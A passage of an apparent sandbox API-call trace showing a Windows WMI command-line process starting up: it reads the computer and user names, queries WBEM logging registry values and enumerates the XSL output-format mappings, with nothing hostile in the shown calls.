lpBuffer=0x3cd780, nSize=0x1afc40 | out: lpBuffer="YKYD69Q", nSize=0x1afc40) returned 1 [0089.075] lstrlenW (lpString="YKYD69Q") returned 7 [0089.075] lstrlenW (lpString="YKYD69Q") returned 7 [0089.075] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x1afc38 | out: lpNameBuffer=0x0, nSize=0x1afc38) returned 0x7fffffde000 [0089.076] GetLastError () returned 0xea [0089.076] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x3cd7d0, nSize=0x1afc38 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1afc38) returned 0x1 [0089.077] lstrlenW (lpString="") returned 0 [0089.077] lstrlenW (lpString="YKYD69Q") returned 7 [0089.077] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="YKYD69Q", cchCount1=7, lpString2="", cchCount2=0) returned 3 [0089.079] lstrlenW (lpString=".") returned 1 [0089.079] lstrlenW (lpString="YKYD69Q") returned 7 [0089.079] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="YKYD69Q", cchCount1=7, lpString2=".", cchCount2=1) returned 3 [0089.079] lstrlenW (lpString="LOCALHOST") returned 9 [0089.079] lstrlenW (lpString="YKYD69Q") returned 7 [0089.079] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="YKYD69Q", cchCount1=7, lpString2="LOCALHOST", cchCount2=9) returned 3 [0089.079] lstrlenW (lpString="YKYD69Q") returned 7 [0089.079] lstrlenW (lpString="YKYD69Q") returned 7 [0089.079] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="YKYD69Q", cchCount1=7, lpString2="YKYD69Q", cchCount2=7) returned 2 [0089.079] lstrlenW (lpString="YKYD69Q") returned 7 [0089.079] lstrlenW (lpString="YKYD69Q") returned 7 [0089.079] lstrlenW (lpString="YKYD69Q") returned 7 [0089.079] lstrlenW (lpString="YKYD69Q") returned 7 [0089.080] SysStringLen (param_1="IDENTIFY") returned 0x8 [0089.080] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0089.080] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0089.080] SysStringLen (param_1="IDENTIFY") returned 0x8 [0089.080] SysStringLen (param_1="IMPERSONATE") returned 0xb [0089.080] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0089.080] SysStringLen (param_1="IMPERSONATE") returned 0xb [0089.080] SysStringLen (param_1="IDENTIFY") returned 0x8 [0089.080] SysStringLen (param_1="IDENTIFY") returned 0x8 [0089.080] SysStringLen (param_1="IMPERSONATE") returned 0xb [0089.080] SysStringLen (param_1="DELEGATE") returned 0x8 [0089.080] SysStringLen (param_1="IDENTIFY") returned 0x8 [0089.080] SysStringLen (param_1="DELEGATE") returned 0x8 [0089.080] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0089.080] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0089.080] SysStringLen (param_1="DELEGATE") returned 0x8 [0089.080] SysStringLen (param_1="NONE") returned 0x4 [0089.080] SysStringLen (param_1="DEFAULT") returned 0x7 [0089.080] SysStringLen (param_1="DEFAULT") returned 0x7 [0089.080] SysStringLen (param_1="NONE") returned 0x4 [0089.080] SysStringLen (param_1="CONNECT") returned 0x7 [0089.080] SysStringLen (param_1="DEFAULT") returned 0x7 [0089.081] SysStringLen (param_1="CALL") returned 0x4 [0089.081] SysStringLen (param_1="DEFAULT") returned 0x7 [0089.081] SysStringLen (param_1="CALL") returned 0x4 [0089.081] SysStringLen (param_1="CONNECT") returned 0x7 [0089.081] SysStringLen (param_1="PKT") returned 0x3 [0089.081] SysStringLen (param_1="DEFAULT") returned 0x7 [0089.081] SysStringLen (param_1="PKT") returned 0x3 [0089.081] SysStringLen (param_1="NONE") returned 0x4 [0089.081] SysStringLen (param_1="NONE") returned 0x4 [0089.081] SysStringLen (param_1="PKT") returned 0x3 [0089.081] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0089.081] SysStringLen (param_1="DEFAULT") returned 0x7 [0089.081] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0089.081] SysStringLen (param_1="NONE") returned 0x4 [0089.081] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0089.081] SysStringLen (param_1="PKT") returned 0x3 [0089.081] SysStringLen (param_1="PKT") returned 0x3 [0089.081] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0089.081] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0089.081] SysStringLen (param_1="DEFAULT") returned 0x7 [0089.081] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0089.081] SysStringLen (param_1="PKT") returned 0x3 [0089.081] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0089.081] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0089.081] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0089.081] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0089.081] GetSystemDirectoryW (in: lpBuffer=0x3bf1e0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0089.082] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0089.082] SysStringLen (param_1="\\wbem\\") returned 0x6 [0089.082] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0089.082] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0089.082] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0089.082] GetCurrentThreadId () returned 0xaf0 [0089.082] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x1af540 | out: phkResult=0x1af540*=0xf8) returned 0x0 [0089.082] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x1af590, lpcbData=0x1af530*=0x400 | out: lpType=0x0, lpData=0x1af590*=0x30, lpcbData=0x1af530*=0x4) returned 0x0 [0089.082] _wcsicmp (_String1="0", _String2="1") returned -1 [0089.082] _wcsicmp (_String1="0", _String2="2") returned -2 [0089.082] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x1af530*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x1af530*=0x42) returned 0x0 [0089.082] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x3bf240, lpcbData=0x1af530*=0x42 | out: lpType=0x0, lpData=0x3bf240*=0x25, lpcbData=0x1af530*=0x42) returned 0x0 [0089.083] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0089.083] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0089.083] RegQueryValueExW (in: hKey=0xf8, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x1af590, lpcbData=0x1af530*=0x400 | out: lpType=0x0, lpData=0x1af590*=0x36, lpcbData=0x1af530*=0xc) returned 0x0 [0089.083] _wtol (_String="65536") returned 65536 [0089.083] RegCloseKey (hKey=0x0) returned 0x6 [0089.083] CoCreateInstance (in: rclsid=0xfffa7410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xfffa73f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x1afa38 | out: ppv=0x1afa38*=0x1e671d0) returned 0x0 [0089.384] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x1e671d0, xmlSource=0x1afb80*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x3bf1e0), isSuccessful=0x1afbf0 | out: isSuccessful=0x1afbf0*=0xffff) returned 0x0 [0089.468] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x1e671d0, DOMElement=0x1afa30 | out: DOMElement=0x1afa30*=0x1e6bc50) returned 0x0 [0089.468] IXMLDOMElement:getElementsByTagName (in: This=0x1e6bc50, tagName="XSLFORMAT", resultList=0x1afa40 | out: resultList=0x1afa40*=0x1e69cc0) returned 0x0 [0089.469] IXMLDOMNodeList:get_length (in: This=0x1e69cc0, listLength=0x1afc08 | out: listLength=0x1afc08*=21) returned 0x0 [0089.470] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=0, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.470] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="texttable.xsl") returned 0x0 [0089.470] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.470] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.470] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="TABLE", varVal2=0x4)) returned 0x0 [0089.471] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.471] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.471] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.471] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=1, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.471] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="textvaluelist.xsl") returned 0x0 [0089.471] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.471] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.471] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VALUE", varVal2=0x4)) returned 0x0 [0089.471] SysStringLen (param_1="VALUE") returned 0x5 [0089.471] SysStringLen (param_1="TABLE") returned 0x5 [0089.471] SysStringLen (param_1="TABLE") returned 0x5 [0089.471] SysStringLen (param_1="VALUE") returned 0x5 [0089.471] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.471] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.471] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.471] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=2, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.471] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="textvaluelist.xsl") returned 0x0 [0089.471] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.472] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.472] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="LIST", varVal2=0x4)) returned 0x0 [0089.472] SysStringLen (param_1="LIST") returned 0x4 [0089.472] SysStringLen (param_1="TABLE") returned 0x5 [0089.472] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.472] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.472] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.472] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=3, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.472] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="rawxml.xsl") returned 0x0 [0089.472] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.472] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.472] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="RAWXML", varVal2=0x4)) returned 0x0 [0089.473] SysStringLen (param_1="RAWXML") returned 0x6 [0089.473] SysStringLen (param_1="TABLE") returned 0x5 [0089.473] SysStringLen (param_1="RAWXML") returned 0x6 [0089.473] SysStringLen (param_1="LIST") returned 0x4 [0089.473] SysStringLen (param_1="LIST") returned 0x4 [0089.473] SysStringLen (param_1="RAWXML") returned 0x6 [0089.473] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.473] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.473] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.473] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=4, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.473] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="htable.xsl") returned 0x0 [0089.473] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.473] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.473] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HTABLE", varVal2=0x4)) returned 0x0 [0089.474] SysStringLen (param_1="HTABLE") returned 0x6 [0089.474] SysStringLen (param_1="TABLE") returned 0x5 [0089.474] SysStringLen (param_1="HTABLE") returned 0x6 [0089.474] SysStringLen (param_1="LIST") returned 0x4 [0089.474] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.474] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.474] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.474] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=5, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.474] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="hform.xsl") returned 0x0 [0089.474] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.474] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.474] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="HFORM", varVal2=0x4)) returned 0x0 [0089.474] SysStringLen (param_1="HFORM") returned 0x5 [0089.474] SysStringLen (param_1="TABLE") returned 0x5 [0089.474] SysStringLen (param_1="HFORM") returned 0x5 [0089.474] SysStringLen (param_1="LIST") returned 0x4 [0089.474] SysStringLen (param_1="HFORM") returned 0x5 [0089.474] SysStringLen (param_1="HTABLE") returned 0x6 [0089.475] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.475] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.475] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.475] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=6, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.475] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="xml.xsl") returned 0x0 [0089.475] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.475] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.475] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XML", varVal2=0x4)) returned 0x0 [0089.475] SysStringLen (param_1="XML") returned 0x3 [0089.475] SysStringLen (param_1="TABLE") returned 0x5 [0089.475] SysStringLen (param_1="XML") returned 0x3 [0089.475] SysStringLen (param_1="VALUE") returned 0x5 [0089.475] SysStringLen (param_1="VALUE") returned 0x5 [0089.475] SysStringLen (param_1="XML") returned 0x3 [0089.475] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.475] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.475] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.475] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=7, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.475] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="mof.xsl") returned 0x0 [0089.475] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.476] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.476] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MOF", varVal2=0x4)) returned 0x0 [0089.476] SysStringLen (param_1="MOF") returned 0x3 [0089.476] SysStringLen (param_1="TABLE") returned 0x5 [0089.476] SysStringLen (param_1="MOF") returned 0x3 [0089.476] SysStringLen (param_1="LIST") returned 0x4 [0089.476] SysStringLen (param_1="MOF") returned 0x3 [0089.476] SysStringLen (param_1="RAWXML") returned 0x6 [0089.476] SysStringLen (param_1="LIST") returned 0x4 [0089.476] SysStringLen (param_1="MOF") returned 0x3 [0089.476] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.476] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.476] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.476] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=8, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.476] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="csv.xsl") returned 0x0 [0089.476] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.476] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.476] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CSV", varVal2=0x4)) returned 0x0 [0089.477] SysStringLen (param_1="CSV") returned 0x3 [0089.477] SysStringLen (param_1="TABLE") returned 0x5 [0089.477] SysStringLen (param_1="CSV") returned 0x3 [0089.477] SysStringLen (param_1="LIST") returned 0x4 [0089.477] SysStringLen (param_1="CSV") returned 0x3 [0089.477] SysStringLen (param_1="HTABLE") returned 0x6 [0089.477] SysStringLen (param_1="CSV") returned 0x3 [0089.477] SysStringLen (param_1="HFORM") returned 0x5 [0089.477] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.477] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.477] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.477] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=9, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.477] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="texttable.xsl") returned 0x0 [0089.477] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.477] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.477] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys.xsl", varVal2=0x4)) returned 0x0 [0089.477] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.477] SysStringLen (param_1="TABLE") returned 0x5 [0089.477] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.477] SysStringLen (param_1="VALUE") returned 0x5 [0089.477] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.478] SysStringLen (param_1="XML") returned 0x3 [0089.478] SysStringLen (param_1="XML") returned 0x3 [0089.478] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.478] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.478] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.478] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.478] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=10, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.478] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="texttable.xsl") returned 0x0 [0089.478] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.478] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.478] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys", varVal2=0x4)) returned 0x0 [0089.478] SysStringLen (param_1="texttablewsys") returned 0xd [0089.478] SysStringLen (param_1="TABLE") returned 0x5 [0089.478] SysStringLen (param_1="texttablewsys") returned 0xd [0089.478] SysStringLen (param_1="XML") returned 0x3 [0089.478] SysStringLen (param_1="texttablewsys") returned 0xd [0089.478] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.478] SysStringLen (param_1="XML") returned 0x3 [0089.478] SysStringLen (param_1="texttablewsys") returned 0xd [0089.478] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.479] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.479] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.479] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=11, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.479] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="texttable.xsl") returned 0x0 [0089.479] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.479] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.479] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat.xsl", varVal2=0x4)) returned 0x0 [0089.479] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0089.479] SysStringLen (param_1="TABLE") returned 0x5 [0089.479] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0089.479] SysStringLen (param_1="XML") returned 0x3 [0089.479] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0089.479] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.479] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.479] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0089.479] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.479] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.479] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.479] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=12, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.479] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="texttable.xsl") returned 0x0 [0089.479] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.480] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.480] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat", varVal2=0x4)) returned 0x0 [0089.480] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0089.480] SysStringLen (param_1="TABLE") returned 0x5 [0089.480] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0089.480] SysStringLen (param_1="XML") returned 0x3 [0089.480] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0089.480] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.480] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0089.480] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0089.480] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.480] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0089.480] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.480] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.480] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.480] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=13, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.480] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="texttable.xsl") returned 0x0 [0089.480] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.480] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x1e678d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x1e6a280) returned 0x0 [0089.481] IXMLDOMNode:get_nodeValue (in: This=0x1e6a280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys.xsl", varVal2=0x4)) returned 0x0 [0089.481] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0089.481] SysStringLen (param_1="TABLE") returned 0x5 [0089.481] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0089.481] SysStringLen (param_1="XML") returned 0x3 [0089.481] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0089.481] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0089.481] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0089.481] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0089.481] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0089.481] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0089.481] IUnknown:Release (This=0x1e6bd50) returned 0x0 [0089.481] IUnknown:Release (This=0x1e678d0) returned 0x0 [0089.481] IUnknown:Release (This=0x1e6a280) returned 0x0 [0089.481] IXMLDOMNodeList:get_item (in: This=0x1e69cc0, index=14, listItem=0x1afa10 | out: listItem=0x1afa10*=0x1e6bd50) returned 0x0 [0089.481] IXMLDOMNode:get_text (in: This=0x1e6bd50, text=0x1afa20 | out: text=0x1afa20*="texttable.xsl") returned 0x0 [0089.481] IXMLDOMNode:get_attributes (in: This=0x1e6bd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x1e678d0) returned 0x0 [0089.481] 